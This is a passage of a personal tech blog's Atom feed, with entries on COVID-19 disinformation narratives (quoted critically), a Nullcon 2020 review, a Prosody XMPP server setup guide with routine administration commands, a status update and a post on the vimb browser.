direct threat to American national security and&#xA;economic dominance, it might be possible that Washington has created&#xA;and unleashed the virus in a bid to bring Beijings growing economy&#xA;and military might down a few notches. It is, to be sure, hard to&#xA;believe that even the Trump White House would do something so&#xA;reckless, but there are precedents for that type of behavior&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These &amp;ldquo;theories&amp;rdquo;, as is evident, are getting wilder and wilder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unsurprisingly, China produces the most amount of content related to the&#xA;coronavirus, but they&amp;rsquo;re quite distinct in comparison to Russian and&#xA;Iranian media. The general theme behind Chinese narratives is&#xA;critisizing the West for&amp;hellip;a lot of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Global Times claims that&#xA;&lt;a href=&#34;http://www.globaltimes.cn/content/1178494.shtml&#34; rel=&#34;nofollow&#34;&gt;democracy is an insufficient system&lt;/a&gt;&#xA;to battle the coronavirus. They &lt;a href=&#34;http://www.globaltimes.cn/content/1178494.shtml&#34; rel=&#34;nofollow&#34;&gt;blame the U.S.&lt;/a&gt;&#xA;for unfair media coverage against China, and other &lt;a href=&#34;http://www.globaltimes.cn/content/1180630.shtml&#34; rel=&#34;nofollow&#34;&gt;anti-China&#xA;narratives&lt;/a&gt;.&#xA;There are a ton other articles that play the racism/discrimination&#xA;card&amp;mdash;I wouldn&amp;rsquo;t blame them though. &lt;a href=&#34;http://www.globaltimes.cn/content/1178465.shtml&#34; rel=&#34;nofollow&#34;&gt;Here&amp;rsquo;s one&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of India, most disinfo (actually, misinfo) is mostly just&#xA;pseudoscientific / alternative medicine / cures in the form of WhatsApp&#xA;forwards&amp;mdash;&amp;ldquo;Eat foo! Eat bar!&amp;rdquo;.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:cowpiss&#34;&gt;&lt;a href=&#34;#fn:cowpiss&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ve also been noticing a &lt;em&gt;ton&lt;/em&gt; of COVID-19 / coronavirus related domain&#xA;registrations happening. Expect phishing and malware campaigns using the&#xA;virus as a theme. In the past 24 hrs, ~450 &lt;code&gt;.com&lt;/code&gt; domains alone were&#xA;registered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/SgswL.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anywho, there are bigger problems at hand&amp;mdash;like the fact that my uni&#xA;still hasn&amp;rsquo;t suspended classes!&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:cowpiss&#34;&gt;&lt;a href=&#34;https://www.thehindu.com/news/national/coronavirus-group-hosts-cow-urine-party-says-covid-19-due-to-meat-eaters/article31070516.ece&#34; rel=&#34;nofollow&#34;&gt;https://www.thehindu.com/news/national/coronavirus-group-hosts-cow-urine-party-says-covid-19-due-to-meat-eaters/article31070516.ece&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:cowpiss&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Nullcon 2020</title>
<updated>2020-03-09T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-03-09:blog/nullcon-2020</id>
<link href="https://icyphox.sh/blog/nullcon-2020"></link>
<summary type="html">&lt;h2&gt;An opinion-filled review of Nullcon Goa, 2020&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer&lt;/strong&gt;: Political.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This year&amp;rsquo;s conference was at the Taj Hotel and Convention center, Dona&#xA;Paula, and its associated party at Cidade de Goa, also by Taj.&#xA;Great choice of venue, perhaps even better than last time. The food was&#xA;fine, the views were better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;em&gt;those&lt;/em&gt; things out of the way&amp;mdash;let&amp;rsquo;s talk talks. I think&#xA;I preferred the panels to the talks&amp;mdash;I enjoy a good, stimulating&#xA;discussion as opposed to only half-understanding a deeply technical&#xA;talk&amp;mdash;but that&amp;rsquo;s just me. But there was this one talk that I really&#xA;enjoyed, perhaps due to its unintended comedic value; I&amp;rsquo;ll get into that&#xA;later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The list of panels/talks I attended in order:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Day 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Keynote: The Metadata Trap by Micah Lee (Talk)&lt;/li&gt;&#xA;&lt;li&gt;Securing the Human Factor (Panel)&lt;/li&gt;&#xA;&lt;li&gt;Predicting Danger: Building the Ideal Threat Intelligence Model (Panel)&lt;/li&gt;&#xA;&lt;li&gt;Lessons from the Cyber Trenches (Panel)&lt;/li&gt;&#xA;&lt;li&gt;Mlw 41#: a new sophisticated loader by APT group TA505 by Alexey Vishnyakov (Talk)&lt;/li&gt;&#xA;&lt;li&gt;Taking the guess out of Glitching by Adam Laurie (Talk)&lt;/li&gt;&#xA;&lt;li&gt;Keynote: Cybersecurity in India&amp;mdash;Information Assymetry, Cross Border&#xA;Threats and National Sovereignty by Saumil Shah (Talk)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Day 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Keynote: Crouching hacker, killer robot? Removing fear from&#xA;cyber-physical security by Stefano Zanero (Talk)&lt;/li&gt;&#xA;&lt;li&gt;Supply Chain Security in Critical Infrastructure Systems (Panel)&lt;/li&gt;&#xA;&lt;li&gt;Putting it all together: building an iOS jailbreak from scratch by&#xA;Umang Raghuvanshi (Talk)&lt;/li&gt;&#xA;&lt;li&gt;Hack the Law: Protection for Ethical Cyber Security Research in India&#xA;(Panel)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2 id=&#34;re-closing-keynote&#34;&gt;Re: Closing keynote&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I wish I could link the talk, but it hasn&amp;rsquo;t been uploaded just yet. I&amp;rsquo;ll&#xA;do it once it has. So, I&amp;rsquo;ve a few comments I&amp;rsquo;d like to make on some of&#xA;Saumil&amp;rsquo;s statements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He proposed that the security industry trust the user more, and let them&#xA;make the decisions pertaining to personal security / privacy.&#xA;Except&amp;hellip;that&amp;rsquo;s just not going to happen. If all users were capable&#xA;of making good, security-first choices&amp;mdash;we as an industry don&amp;rsquo;t&#xA;need to exist. But that is unfortunately not the case.&#xA;Users are dumb. They value convenience and immediacy over&#xA;security. That&amp;rsquo;s the sad truth of the modern age.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing he proposed was that the Indian Government build our own&#xA;&amp;ldquo;Military Grade&amp;rdquo; and &amp;ldquo;Consumer Grade&amp;rdquo; encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&amp;hellip;what?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &amp;ldquo;security professional&amp;rdquo; suggesting that we roll our own crypto? What&#xA;even. Oh and, to top it off&amp;mdash;when&#xA;&lt;a href=&#34;https://twitter.com/tame_wildcard&#34; rel=&#34;nofollow&#34;&gt;Raman&lt;/a&gt;, very rightly countered&#xA;saying that the biggest opponent to encryption &lt;em&gt;is&lt;/em&gt; the Government, and&#xA;trusting them to build safe cryptosystems is probably not wise, he&#xA;responded by saying something to the effect of &amp;ldquo;Eh, who cares? If they&#xA;want to backdoor it, let them.&amp;rdquo;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bruh moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He also had some interesting things to say about countering&#xA;disinformation. He said, and I quote &amp;ldquo;Join the STFU University&amp;rdquo;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;¿wat? Is that your best solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Judging by his profile, and certain other things he said in the talk, it&#xA;is safe to conclude that his ideals are fairly&amp;hellip;nationalistic. I&amp;rsquo;m not&#xA;one to police political opinions, I couldn&amp;rsquo;t care less which way you&#xA;lean, but the statements made in the talk were straight up&#xA;incorrect.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;closing-thoughts&#34;&gt;Closing thoughts&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This came out more rant-like than I&amp;rsquo;d intended. It is also the first&#xA;blog post where I dip my toes into politics. I&amp;rsquo;ve some thoughts on more&#xA;controversial topics for my next entry. That&amp;rsquo;ll be fun, especially when&#xA;my follower count starts dropping. LULW.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Saumil, if you ever end up reading this, note that this is not&#xA;a personal attack. I think you&amp;rsquo;re a cool guy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note to the Nullcon organizers: you guys did a fantastic job running the&#xA;conference despite Corona-chan&amp;rsquo;s best efforts. I&amp;rsquo;d like to suggest one&#xA;little thing though&amp;mdash;please VET YOUR SPEAKERS more!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/EjO-E.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>Setting up Prosody for XMPP</title>
<updated>2020-02-18T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-02-18:blog/prosody</id>
<link href="https://icyphox.sh/blog/prosody"></link>
<summary type="html">&lt;h2&gt;I setup Prosody yesterday—here&#39;s how I did it&lt;/h2&gt;&#xA;&lt;p&gt;Remember the &lt;a href=&#34;/blog/irc-for-dms/&#34;&gt;IRC for DMs&lt;/a&gt; article I wrote a while&#xA;back? Well&amp;hellip;it&amp;rsquo;s safe to say that IRC didn&amp;rsquo;t hold up too well. It first&#xA;started with the bot. Buggy code, crashed a lot&amp;mdash;we eventually gave up&#xA;and didn&amp;rsquo;t bring the bot back up. Then came the notifications, or lack&#xA;thereof. Revolution IRC has a bug where your custom notification rules&#xA;just get ignored after a while. In my case, this meant that&#xA;notifications for &lt;code&gt;#crimson&lt;/code&gt; stopped entirely. Unless, of course, Nerdy&#xA;pinged me each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, none of these problems are inherent to IRC itself. IRC is&#xA;fantastic, but perhaps wasn&amp;rsquo;t the best fit for our usecase. I still do&#xA;use IRC though, just not for 1-on-1 conversations.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;why-xmpp&#34;&gt;Why XMPP?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For one, it&amp;rsquo;s better suited for 1-on-1 conversations. It also has&#xA;support for end-to-end encryption (via OMEMO), something IRC doesn&amp;rsquo;t&#xA;have.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:otr&#34;&gt;&lt;a href=&#34;#fn:otr&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; Also, it isn&amp;rsquo;t centralized (think: email).&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;so-prosody&#34;&gt;So&amp;hellip;Prosody&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&#34;https://prosody.im&#34; rel=&#34;nofollow&#34;&gt;Prosody&lt;/a&gt; is an XMPP server. Why did I choose this&#xA;over ejabberd, OpenFire, etc.? No reason, really. Their website looked&#xA;cool, I guess.&lt;/p&gt;&#xA;&#xA;&lt;h3 id=&#34;installing&#34;&gt;Installing&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Setting it up was pretty painless (I&amp;rsquo;ve &lt;a href=&#34;/blog/mailserver&#34;&gt;experienced&#xA;worse&lt;/a&gt;). If you&amp;rsquo;re on a Debian-derived system, add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# modify according to your distro&#xA;deb https://packages.prosody.im/debian buster main &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to your &lt;code&gt;/etc/apt/sources.list&lt;/code&gt;, and:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# apt update&#xA;# apt install prosody&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3 id=&#34;configuring&#34;&gt;Configuring&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Once installed, you will find the config file at&#xA;&lt;code&gt;/etc/prosody/prosody.cfg.lua&lt;/code&gt;. Add your XMPP user (we will make this&#xA;later), to the &lt;code&gt;admins = {}&lt;/code&gt; line.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;admins = {&amp;quot;user@chat.example.com&amp;quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Head to the &lt;code&gt;modules_enabled&lt;/code&gt; section, and add this to it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;modules_enabled = {&#xA; &amp;quot;posix&amp;quot;;&#xA; &amp;quot;omemo_all_access&amp;quot;;&#xA;...&#xA; -- uncomment these&#xA; &amp;quot;groups&amp;quot;;&#xA; &amp;quot;mam&amp;quot;;&#xA; -- and any others you think you may need&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We will install the &lt;code&gt;omemo_all_access&lt;/code&gt; module later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set &lt;code&gt;c2s_require_encryption&lt;/code&gt;, &lt;code&gt;s2s_require_encryption&lt;/code&gt;, and&#xA;&lt;code&gt;s2s_secure_auth&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;.&#xA;Set the &lt;code&gt;pidfile&lt;/code&gt; to &lt;code&gt;/tmp/prosody.pid&lt;/code&gt; (or just leave it as default?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, Prosody stores passwords in plain-text, so fix that by&#xA;setting &lt;code&gt;authentication&lt;/code&gt; to &lt;code&gt;&amp;quot;internal_hashed&amp;quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Head to the &lt;code&gt;VirtualHost&lt;/code&gt; section, and add your vhost. Right above it,&#xA;set the path to the HTTPS certificate and key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;certificates = &amp;quot;certs&amp;quot; -- relative to your config file location&#xA;https_certificate = &amp;quot;certs/chat.example.com.crt&amp;quot;&#xA;https_key = &amp;quot;certs/chat.example.com.key&amp;quot;&#xA;...&#xA;&#xA;VirtualHost &amp;quot;chat.example.com&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I generated these certs using Let&amp;rsquo;s Encrypt&amp;rsquo;s &lt;code&gt;certbot&lt;/code&gt;, you can use&#xA;whatever. Here&amp;rsquo;s what I did:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# certbot --nginx -d chat.example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This generates certs at &lt;code&gt;/etc/letsencrypt/live/chat.example.com/&lt;/code&gt;. You can&#xA;trivially import these certs into Prosody&amp;rsquo;s &lt;code&gt;/etc/prosody/certs/&lt;/code&gt; directory using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# prosodyctl cert import /etc/letsencrypt/live/chat.example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3 id=&#34;plugins&#34;&gt;Plugins&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;All the modules for Prosody can be &lt;code&gt;hg clone&lt;/code&gt;&amp;rsquo;d from&#xA;&lt;a href=&#34;https://hg.prosody.im/prosody-modules&#34; rel=&#34;nofollow&#34;&gt;https://hg.prosody.im/prosody-modules&lt;/a&gt;. You will, obviously, need&#xA;Mercurial installed for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clone it somewhere, and:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cp -R prosody-modules/mod_omemo_all_access /usr/lib/prosody/modules&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do the same thing for whatever other module you choose to install. Don&amp;rsquo;t&#xA;forget to add it to the &lt;code&gt;modules_enabled&lt;/code&gt; section in the config.&lt;/p&gt;&#xA;&#xA;&lt;h3 id=&#34;adding-users&#34;&gt;Adding users&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;prosodyctl&lt;/code&gt; makes this a fairly simple task:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ prosodyctl adduser user@chat.example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will be prompted for a password. You can optionally, enable&#xA;user registrations from XMPP/Jabber clients (security risk!), by setting&#xA;&lt;code&gt;allow_registration = true&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I may have missed something important, so here&amp;rsquo;s &lt;a href=&#34;https://cdn.icyphox.sh/prosody.cfg.lua&#34; rel=&#34;nofollow&#34;&gt;my&#xA;config&lt;/a&gt; for reference.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;closing-notes&#34;&gt;Closing notes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;That&amp;rsquo;s pretty much all you need for 1-on-1 E2EE chats. I don&amp;rsquo;t know much&#xA;about group chats just yet&amp;mdash;trying to create a group in Conversations&#xA;gives a &amp;ldquo;No group chat server found&amp;rdquo;. I will figure it out later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing that doesn&amp;rsquo;t work in Conversations is adding an account&#xA;using an &lt;code&gt;SRV&lt;/code&gt; record.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:srv&#34;&gt;&lt;a href=&#34;#fn:srv&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; Which kinda sucks, because having a &lt;code&gt;chat.&lt;/code&gt;&#xA;subdomain isn&amp;rsquo;t very clean, but whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, also&amp;mdash;you can message me at&#xA;&lt;a href=&#34;xmpp:icy@chat.icyphox.sh&#34; rel=&#34;nofollow&#34;&gt;icy@chat.icyphox.sh&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:otr&#34;&gt;I&amp;rsquo;m told IRC supports OTR, but I haven&amp;rsquo;t ever tried. &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:otr&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:srv&#34;&gt;&lt;a href=&#34;https://prosody.im/doc/dns&#34; rel=&#34;nofollow&#34;&gt;https://prosody.im/doc/dns&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:srv&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Status update</title>
<updated>2020-01-18T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-01-18:blog/2020-01-18</id>
<link href="https://icyphox.sh/blog/2020-01-18"></link>
<summary type="html">&lt;h2&gt;New year…new stuff?&lt;/h2&gt;&#xA;&lt;p&gt;It&amp;rsquo;s only been a two weeks since I got back to campus, and we&amp;rsquo;ve&#xA;&lt;em&gt;already&lt;/em&gt; got our first round of cycle tests starting this Tuesday.&#xA;Granted, I returned a week late, but&amp;hellip;that&amp;rsquo;s nuts!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We&amp;rsquo;re two whole weeks into 2020; I should&amp;rsquo;ve been working on something&#xA;status update worthy, right? Not really, but we&amp;rsquo;ll see.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;no-more-cloudflare&#34;&gt;No more Cloudflare!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Yep. If you weren&amp;rsquo;t aware&amp;mdash;pre-2020 this site was behind Cloudflare&#xA;SSL and their DNS. I have since migrated off it to&#xA;&lt;a href=&#34;https://he.net&#34; rel=&#34;nofollow&#34;&gt;he.net&lt;/a&gt;, thanks to highly upvoted Lobste.rs comment.&#xA;Because of this switch, I infact, learnt a ton about DNS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Migrating to HE was very painless, but I did have to research a lot&#xA;about PTR records&amp;mdash;Cloudflare kinda dumbs it down. In my case, I had to&#xA;rename my DigitalOcean VPS instance to the FQDN, which then&#xA;automagically created a PTR record at DO&amp;rsquo;s end.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;i-dropped-icyrc&#34;&gt;I dropped icyrc&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The IRC client I was working on during the end of last&#xA;December--early-January? Yeah, I lost interest. Apparently writing C and&#xA;ncurses isn&amp;rsquo;t very fun or stimulating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also means I&amp;rsquo;m back on weechat. Until I find another client that&#xA;plays well with ZNC, that is.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;kiss-stuff&#34;&gt;KISS stuff&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I now maintain two new packages in the KISS community repository&amp;mdash;2bwm&#xA;and aerc! The KISS package system is stupid simple to work with. Creating&#xA;packages has never been easier.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;icyphox-sh-friends-friends&#34;&gt;&lt;a href=&#34;/friends&#34;&gt;icyphox.sh/friends&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Did you notice that yet? I&amp;rsquo;ve been curating a list of people I know IRL&#xA;and online, and linking to their online presence. This is like a webring&#xA;of sorts, and promotes inter-site traffic&amp;mdash;making the web more &amp;ldquo;web&amp;rdquo;&#xA;again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know me, feel free to &lt;a href=&#34;/about#contact&#34;&gt;hit me up&lt;/a&gt; and I&amp;rsquo;ll link&#xA;your site too! My apologies if I&amp;rsquo;ve forgotten your name.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;patreon&#34;&gt;Patreon!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Is this big news? I dunno, but yes&amp;mdash;I now have a Patreon. I figured I&amp;rsquo;d&#xA;cash in on the newfound traffic my site&amp;rsquo;s been getting. There won&amp;rsquo;t be&#xA;any exclusive content or any tiers or whatever. Nothing will change.&#xA;Just a place for y&amp;rsquo;all to toss me some $$$ if you wish to do so. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and it&amp;rsquo;s at &lt;a href=&#34;https://patreon.com/icyphox&#34; rel=&#34;nofollow&#34;&gt;patreon.com/icyphox&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;misc&#34;&gt;Misc.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Stormlight Archive is likely the &lt;em&gt;best&lt;/em&gt; epic I have ever read till&#xA;date. I&amp;rsquo;m still not done yet; about 500 odd pages to go as of this&#xA;writing. But wow, Brandon really does know how to build worlds and magic&#xA;systems. I cannot wait to read all about the&#xA;&lt;a href=&#34;https://coppermind.net/wiki/Cosmere&#34; rel=&#34;nofollow&#34;&gt;cosmere&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also been working out for the past month or so. I can see them&#xA;gainzzz. I plan to keep track of my progress, I just don&amp;rsquo;t know how to&#xA;quantify it. Perhaps I&amp;rsquo;ll log the number of reps × sets I do each time,&#xA;and with what weights. I can then look back to see if either the weights&#xA;have increased since, or the number of reps × sets have. If you know of&#xA;a better way to quantify progress, let me know! I&amp;rsquo;m pretty new to this.&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>Vimb&amp;#58; my Firefox replacement</title>
<updated>2020-01-16T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-01-16:blog/mnml-browsing</id>
<link href="https://icyphox.sh/blog/mnml-browsing"></link>
<summary type="html">&lt;h2&gt;Web browsing, suckless style&lt;/h2&gt;&#xA;&lt;p&gt;After having recently installed &lt;a href=&#34;https://getkiss.org&#34; rel=&#34;nofollow&#34;&gt;KISS&lt;/a&gt;, and&#xA;building Firefox from source, I was exposed to the true monstrosity that&#xA;Firefox&amp;mdash;and web browsers in general&amp;mdash;is. It took all of 9 hours to&#xA;build the dependencies and then Firefox itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sure, KISS now ships Firefox binaries in the&#xA;&lt;a href=&#34;https://github.com/kisslinux/repo/tree/master/extra/firefox-bin&#34; rel=&#34;nofollow&#34;&gt;firefox-bin&lt;/a&gt;&#xA;package; I decided to get rid of that slow mess anyway.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;enter-vimb&#34;&gt;Enter vimb&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&#34;https://fanglingsu.github.io/vimb/&#34; rel=&#34;nofollow&#34;&gt;vimb&lt;/a&gt; is a browser based on&#xA;&lt;a href=&#34;https://webkitgtk.org/&#34; rel=&#34;nofollow&#34;&gt;webkit2gtk&lt;/a&gt;, with a Vim-like interface.&#xA;&lt;code&gt;webkit2gtk&lt;/code&gt; builds in less than a minute&amp;mdash;it blows Firefox out of&#xA;the water, on that front.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There isn&amp;rsquo;t much of a UI to it&amp;mdash;if you&amp;rsquo;ve used Vimperator/Pentadactyl&#xA;(Firefox plugins), vimb should look familiar to you.&#xA;It can be configured via a &lt;code&gt;config.h&lt;/code&gt; or a text based config file at&#xA;&lt;code&gt;~/.config/vimb/config&lt;/code&gt;.&#xA;Each &amp;ldquo;tab&amp;rdquo; opens a new instance of vimb, in a new window but this can&#xA;get messy really fast if you have a lot of tabs open.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;enter-tabbed&#34;&gt;Enter tabbed&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&#34;https://tools.suckless.org/tabbed/&#34; rel=&#34;nofollow&#34;&gt;tabbed&lt;/a&gt; is a tool to &lt;em&gt;embed&lt;/em&gt; X apps&#xA;which support xembed into a tabbed UI. This can be used in conjunction&#xA;with vimb, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tabbed vimb -e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where the &lt;code&gt;-e&lt;/code&gt; flag is populated with the &lt;code&gt;XID&lt;/code&gt;, by tabbed. Configuring&#xA;Firefox-esque keybinds in tabbed&amp;rsquo;s &lt;code&gt;config.h&lt;/code&gt; is relatively easy. Once&#xA;that&amp;rsquo;s done&amp;mdash;voilà! A fairly sane, Vim-like browsing experience that&amp;rsquo;s&#xA;faster and has a smaller footprint than Firefox.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;ad-blocking&#34;&gt;Ad blocking&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Ad blocking support isn&amp;rsquo;t built-in and there is no plugin system&#xA;available. There are two options for ad blocking:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/jun7/wyebadblock&#34; rel=&#34;nofollow&#34;&gt;wyebadblock&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/etc/hosts&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2 id=&#34;caveats&#34;&gt;Caveats&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Some&lt;/em&gt; websites tend to not work because they detect vimb as an older&#xA;version of Safari (same web engine). This is a minor inconvenience, and&#xA;not a dealbreaker for me. I also cannot login to Google&amp;rsquo;s services for&#xA;some reason, which is mildly annoying, but it&amp;rsquo;s good in a way&amp;mdash;I am now&#xA;further incentivised to dispose of my Google account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here&amp;rsquo;s the screenshot y&amp;rsquo;all were waiting for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/d03i0.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>Five days in a TTY</title>
<updated>2020-01-13T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-01-13:blog/five-days-tty</id>
<link href="https://icyphox.sh/blog/five-days-tty"></link>
